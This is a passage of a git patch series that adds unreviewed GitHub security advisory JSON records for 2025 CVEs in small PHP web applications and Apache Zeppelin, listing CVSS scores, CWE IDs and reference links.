+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8505"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/Bemcliu/cve-reports/blob/main/cve-08-wx-shop-CSRF/readme.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318604"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318604"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.627322"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-352"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T08:15:25Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-c784-48q7-28q9/GHSA-c784-48q7-28q9.json b/advisories/unreviewed/2025/08/GHSA-c784-48q7-28q9/GHSA-c784-48q7-28q9.json
new file mode 100644
index 0000000000000..35ac39588287e
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-c784-48q7-28q9/GHSA-c784-48q7-28q9.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-c784-48q7-28q9",
+ "modified": "2025-08-03T09:31:49Z",
+ "published": "2025-08-03T09:31:49Z",
+ "aliases": [
+ "CVE-2025-8502"
+ ],
+ "details": "A vulnerability classified as critical was found in code-projects Online Medicine Guide 1.0. Affected by this vulnerability is an unknown functionality of the file /changepass.php. The manipulation of the argument ups leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8502"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/freshfish-hust/my-cves/issues/1"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318601"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318601"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.626920"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T07:15:24Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-ffrh-25w3-cmvh/GHSA-ffrh-25w3-cmvh.json b/advisories/unreviewed/2025/08/GHSA-ffrh-25w3-cmvh/GHSA-ffrh-25w3-cmvh.json
new file mode 100644
index 0000000000000..dea1b761fd80f
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-ffrh-25w3-cmvh/GHSA-ffrh-25w3-cmvh.json
@@ -0,0 +1,52 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-ffrh-25w3-cmvh",
+ "modified": "2025-08-03T09:31:50Z",
+ "published": "2025-08-03T09:31:50Z",
+ "aliases": [
+ "CVE-2025-8506"
+ ],
+ "details": "A vulnerability was found in 495300897 wx-shop up to de1b66331368695779cfc6e4d11a64caddf8716e and classified as problematic. This issue affects some unknown processing of the file /user/editUI. The manipulation leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8506"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/Bemcliu/cve-reports/blob/main/cve-07-wx-shop-Stored%20XSS/readme.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318605"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318605"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.627323"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T09:15:29Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-q2w7-9xcp-64v5/GHSA-q2w7-9xcp-64v5.json b/advisories/unreviewed/2025/08/GHSA-q2w7-9xcp-64v5/GHSA-q2w7-9xcp-64v5.json
new file mode 100644
index 0000000000000..e725eec16ac1d
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-q2w7-9xcp-64v5/GHSA-q2w7-9xcp-64v5.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-q2w7-9xcp-64v5",
+ "modified": "2025-08-03T09:31:49Z",
+ "published": "2025-08-03T09:31:49Z",
+ "aliases": [
+ "CVE-2025-8504"
+ ],
+ "details": "A vulnerability, which was classified as critical, was found in code-projects Kitchen Treasure 1.0. This affects an unknown part of the file /userregistration.php. The manipulation of the argument photo leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8504"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/freshfish-hust/my-cves/issues/4"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318603"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318603"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.626935"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-284"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T08:15:24Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-r935-cx2h-crwf/GHSA-r935-cx2h-crwf.json b/advisories/unreviewed/2025/08/GHSA-r935-cx2h-crwf/GHSA-r935-cx2h-crwf.json
new file mode 100644
index 0000000000000..d30b10246c790
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-r935-cx2h-crwf/GHSA-r935-cx2h-crwf.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-r935-cx2h-crwf",
+ "modified": "2025-08-03T09:31:49Z",
+ "published": "2025-08-03T09:31:49Z",
+ "aliases": [
+ "CVE-2025-8503"
+ ],
+ "details": "A vulnerability, which was classified as critical, has been found in code-projects Online Medicine Guide 1.0. Affected by this issue is some unknown functionality of the file /adaddmed.php. The manipulation of the argument mname leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8503"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/freshfish-hust/my-cves/issues/2"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318602"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318602"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.626923"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T07:15:25Z"
+ }
+}
\ No newline at end of file
From 8c0200e5345d2edeb6a0fa221100f43d6c300c95 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Sun, 3 Aug 2025 12:32:09 +0000
Subject: [PATCH 320/323] Publish Advisories
GHSA-474q-qj4j-p6r9
GHSA-4r3c-9hx8-87cc
GHSA-jr43-q92q-5q82
GHSA-p288-459w-jxj6
GHSA-xg8j-j6vp-6h5w
---
.../GHSA-474q-qj4j-p6r9.json | 56 +++++++++++++++++++
.../GHSA-4r3c-9hx8-87cc.json | 56 +++++++++++++++++++
.../GHSA-jr43-q92q-5q82.json | 43 ++++++++++++++
.../GHSA-p288-459w-jxj6.json | 39 +++++++++++++
.../GHSA-xg8j-j6vp-6h5w.json | 31 ++++++++++
5 files changed, 225 insertions(+)
create mode 100644 advisories/unreviewed/2025/08/GHSA-474q-qj4j-p6r9/GHSA-474q-qj4j-p6r9.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-4r3c-9hx8-87cc/GHSA-4r3c-9hx8-87cc.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-jr43-q92q-5q82/GHSA-jr43-q92q-5q82.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-p288-459w-jxj6/GHSA-p288-459w-jxj6.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-xg8j-j6vp-6h5w/GHSA-xg8j-j6vp-6h5w.json
diff --git a/advisories/unreviewed/2025/08/GHSA-474q-qj4j-p6r9/GHSA-474q-qj4j-p6r9.json b/advisories/unreviewed/2025/08/GHSA-474q-qj4j-p6r9/GHSA-474q-qj4j-p6r9.json
new file mode 100644
index 0000000000000..14358b44be95d
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-474q-qj4j-p6r9/GHSA-474q-qj4j-p6r9.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-474q-qj4j-p6r9",
+ "modified": "2025-08-03T12:30:30Z",
+ "published": "2025-08-03T12:30:30Z",
+ "aliases": [
+ "CVE-2025-8507"
+ ],
+ "details": "A vulnerability was found in Portabilis i-Educar 2.9. It has been classified as problematic. Affected is an unknown function of the file /intranet/educar_funcao_lst.php. The manipulation of the argument nm_funcao/abreviatura leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8507"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/marcelomulder/CVE/blob/main/i-educar/CVE-2025-8507.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/marcelomulder/CVE/blob/main/i-educar/Reflected%20XXS%20educar_funcao_lst.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318606"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318606"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.618677"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T10:15:27Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-4r3c-9hx8-87cc/GHSA-4r3c-9hx8-87cc.json b/advisories/unreviewed/2025/08/GHSA-4r3c-9hx8-87cc/GHSA-4r3c-9hx8-87cc.json
new file mode 100644
index 0000000000000..37a188194c38d
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-4r3c-9hx8-87cc/GHSA-4r3c-9hx8-87cc.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-4r3c-9hx8-87cc",
+ "modified": "2025-08-03T12:30:31Z",
+ "published": "2025-08-03T12:30:31Z",
+ "aliases": [
+ "CVE-2025-8508"
+ ],
+ "details": "A vulnerability was found in Portabilis i-Educar 2.9. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /intranet/educar_avaliacao_desempenho_cad.php. The manipulation of the argument titulo_avaliacao/descricao leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8508"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/marcelomulder/CVE/blob/main/i-educar/CVE-2025-8508.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/marcelomulder/CVE/blob/main/i-educar/Stored%20XSS%20educar_avaliacao_desempenho_cad.php%20parameters%20titulo_avaliacao%20and%20descricao.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318607"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318607"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.618678"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T11:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-jr43-q92q-5q82/GHSA-jr43-q92q-5q82.json b/advisories/unreviewed/2025/08/GHSA-jr43-q92q-5q82/GHSA-jr43-q92q-5q82.json
new file mode 100644
index 0000000000000..c087facf49eff
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-jr43-q92q-5q82/GHSA-jr43-q92q-5q82.json
@@ -0,0 +1,43 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-jr43-q92q-5q82",
+ "modified": "2025-08-03T12:30:30Z",
+ "published": "2025-08-03T12:30:30Z",
+ "aliases": [
+ "CVE-2024-52279"
+ ],
+ "details": "Improper Input Validation vulnerability in Apache Zeppelin. The fix for JDBC URL validation in CVE-2024-31864 did not account for URL encoded input.\n\nThis issue affects Apache Zeppelin: from 0.11.1 before 0.12.0.\n\nUsers are recommended to upgrade to version 0.12.0, which fixes the issue.",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52279"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/apache/zeppelin/pull/4838"
+ },
+ {
+ "type": "WEB",
+ "url": "https://issues.apache.org/jira/browse/ZEPPELIN-6095"
+ },
+ {
+ "type": "WEB",
+ "url": "https://lists.apache.org/thread/dxb98vgrb21rrl3k0fzonpk66onr6o4q"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.cve.org/CVERecord?id=CVE-2024-31864"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-20"
+ ],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T10:15:27Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-p288-459w-jxj6/GHSA-p288-459w-jxj6.json b/advisories/unreviewed/2025/08/GHSA-p288-459w-jxj6/GHSA-p288-459w-jxj6.json
new file mode 100644
index 0000000000000..0d49ae405e28b
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-p288-459w-jxj6/GHSA-p288-459w-jxj6.json
@@ -0,0 +1,39 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-p288-459w-jxj6",
+ "modified": "2025-08-03T12:30:30Z",
+ "published": "2025-08-03T12:30:30Z",
+ "aliases": [
+ "CVE-2024-41177"
+ ],
+ "details": "Incomplete Blacklist to Cross-Site Scripting vulnerability in Apache Zeppelin.\n\nThis issue affects Apache Zeppelin: before 0.12.0.\n\nUsers are recommended to upgrade to version 0.12.0, which fixes the issue.",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41177"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/apache/zeppelin/pull/4755"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/apache/zeppelin/pull/4795"
+ },
+ {
+ "type": "WEB",
+ "url": "https://lists.apache.org/thread/nwh8vh9f3pnvt04n8z4g2kbddh62blr6"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T10:15:27Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-xg8j-j6vp-6h5w/GHSA-xg8j-j6vp-6h5w.json b/advisories/unreviewed/2025/08/GHSA-xg8j-j6vp-6h5w/GHSA-xg8j-j6vp-6h5w.json
new file mode 100644
index 0000000000000..53671dd6b2797
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-xg8j-j6vp-6h5w/GHSA-xg8j-j6vp-6h5w.json
@@ -0,0 +1,31 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-xg8j-j6vp-6h5w",
+ "modified": "2025-08-03T12:30:30Z",
+ "published": "2025-08-03T12:30:30Z",
+ "aliases": [
+ "CVE-2024-51775"
+ ],
+ "details": "Missing Origin Validation in WebSockets vulnerability in Apache Zeppelin.\n\nThe attacker could access the Zeppelin server from another origin without any restriction, and get internal information about paragraphs. \nThis issue affects Apache Zeppelin: from 0.11.1 before 0.12.0.\n\nUsers are recommended to upgrade to version 0.12.0, which fixes the issue.",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51775"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/apache/zeppelin/pull/4823"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-1385"
+ ],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T11:15:26Z"
+ }
+}
\ No newline at end of file
From 2d349f489da2890e808f6de8c416895d9744af43 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Sun, 3 Aug 2025 15:32:25 +0000
Subject: [PATCH 321/323] Publish Advisories
GHSA-gh34-234w-fjmf
GHSA-hpf2-m375-95rh
GHSA-jcmg-5j8j-35mp
GHSA-q2qr-vvq7-ph4v
GHSA-wv59-72h6-vhj4
---
.../GHSA-gh34-234w-fjmf.json | 56 +++++++++++++++++
.../GHSA-hpf2-m375-95rh.json | 56 +++++++++++++++++
.../GHSA-jcmg-5j8j-35mp.json | 60 +++++++++++++++++++
.../GHSA-q2qr-vvq7-ph4v.json | 52 ++++++++++++++++
.../GHSA-wv59-72h6-vhj4.json | 52 ++++++++++++++++
5 files changed, 276 insertions(+)
create mode 100644 advisories/unreviewed/2025/08/GHSA-gh34-234w-fjmf/GHSA-gh34-234w-fjmf.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-hpf2-m375-95rh/GHSA-hpf2-m375-95rh.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-jcmg-5j8j-35mp/GHSA-jcmg-5j8j-35mp.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-q2qr-vvq7-ph4v/GHSA-q2qr-vvq7-ph4v.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-wv59-72h6-vhj4/GHSA-wv59-72h6-vhj4.json
diff --git a/advisories/unreviewed/2025/08/GHSA-gh34-234w-fjmf/GHSA-gh34-234w-fjmf.json b/advisories/unreviewed/2025/08/GHSA-gh34-234w-fjmf/GHSA-gh34-234w-fjmf.json
new file mode 100644
index 0000000000000..5967ee0264b74
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-gh34-234w-fjmf/GHSA-gh34-234w-fjmf.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-gh34-234w-fjmf",
+ "modified": "2025-08-03T15:30:26Z",
+ "published": "2025-08-03T15:30:26Z",
+ "aliases": [
+ "CVE-2025-8509"
+ ],
+ "details": "A vulnerability was found in Portabilis i-Educar 2.9. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /intranet/educar_servidor_cad.php. The manipulation of the argument matricula leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8509"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/marcelomulder/CVE/blob/main/i-educar/CVE-2025-8509.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/marcelomulder/CVE/blob/main/i-educar/Stored%20XSS%20educar_servidor_cad.php%20parameter%20matricula.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318608"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318608"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.618679"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T13:15:25Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-hpf2-m375-95rh/GHSA-hpf2-m375-95rh.json b/advisories/unreviewed/2025/08/GHSA-hpf2-m375-95rh/GHSA-hpf2-m375-95rh.json
new file mode 100644
index 0000000000000..6756cd04eadcb
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-hpf2-m375-95rh/GHSA-hpf2-m375-95rh.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-hpf2-m375-95rh",
+ "modified": "2025-08-03T15:30:26Z",
+ "published": "2025-08-03T15:30:26Z",
+ "aliases": [
+ "CVE-2025-8511"
+ ],
+ "details": "A vulnerability classified as problematic was found in Portabilis i-Diario 1.5.0. This vulnerability affects unknown code of the file /diario-de-observacoes/ of the component Observações. The manipulation of the argument Descrição leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8511"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/marcelomulder/CVE/blob/main/i-diario/CVE-2025-8511.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/marcelomulder/CVE/blob/main/i-diario/Stored%20XSS%20endpoint%20diario-de-observacoes.(ID)%20in%20'Observa%C3%A7%C3%B5es-Descri%C3%A7%C3%A3o'%20parameter.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318610"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318610"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.618973"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T14:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-jcmg-5j8j-35mp/GHSA-jcmg-5j8j-35mp.json b/advisories/unreviewed/2025/08/GHSA-jcmg-5j8j-35mp/GHSA-jcmg-5j8j-35mp.json
new file mode 100644
index 0000000000000..e7f19dc4bcfaa
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-jcmg-5j8j-35mp/GHSA-jcmg-5j8j-35mp.json
@@ -0,0 +1,60 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-jcmg-5j8j-35mp",
+ "modified": "2025-08-03T15:30:26Z",
+ "published": "2025-08-03T15:30:26Z",
+ "aliases": [
+ "CVE-2025-8510"
+ ],
+ "details": "A vulnerability classified as problematic has been found in Portabilis i-Educar 2.10. This affects the function Gerar of the file ieducar/intranet/educar_matricula_lst.php. The manipulation of the argument ref_cod_aluno leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of the patch is 82c288b9a4abb084bdfa1c0c4ef777ed45f98b46. It is recommended to apply a patch to fix this issue. The vendor initially closed the original advisory without requesting a CVE.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N"
+ },
+ {
+ "type": "CVSS_V4",
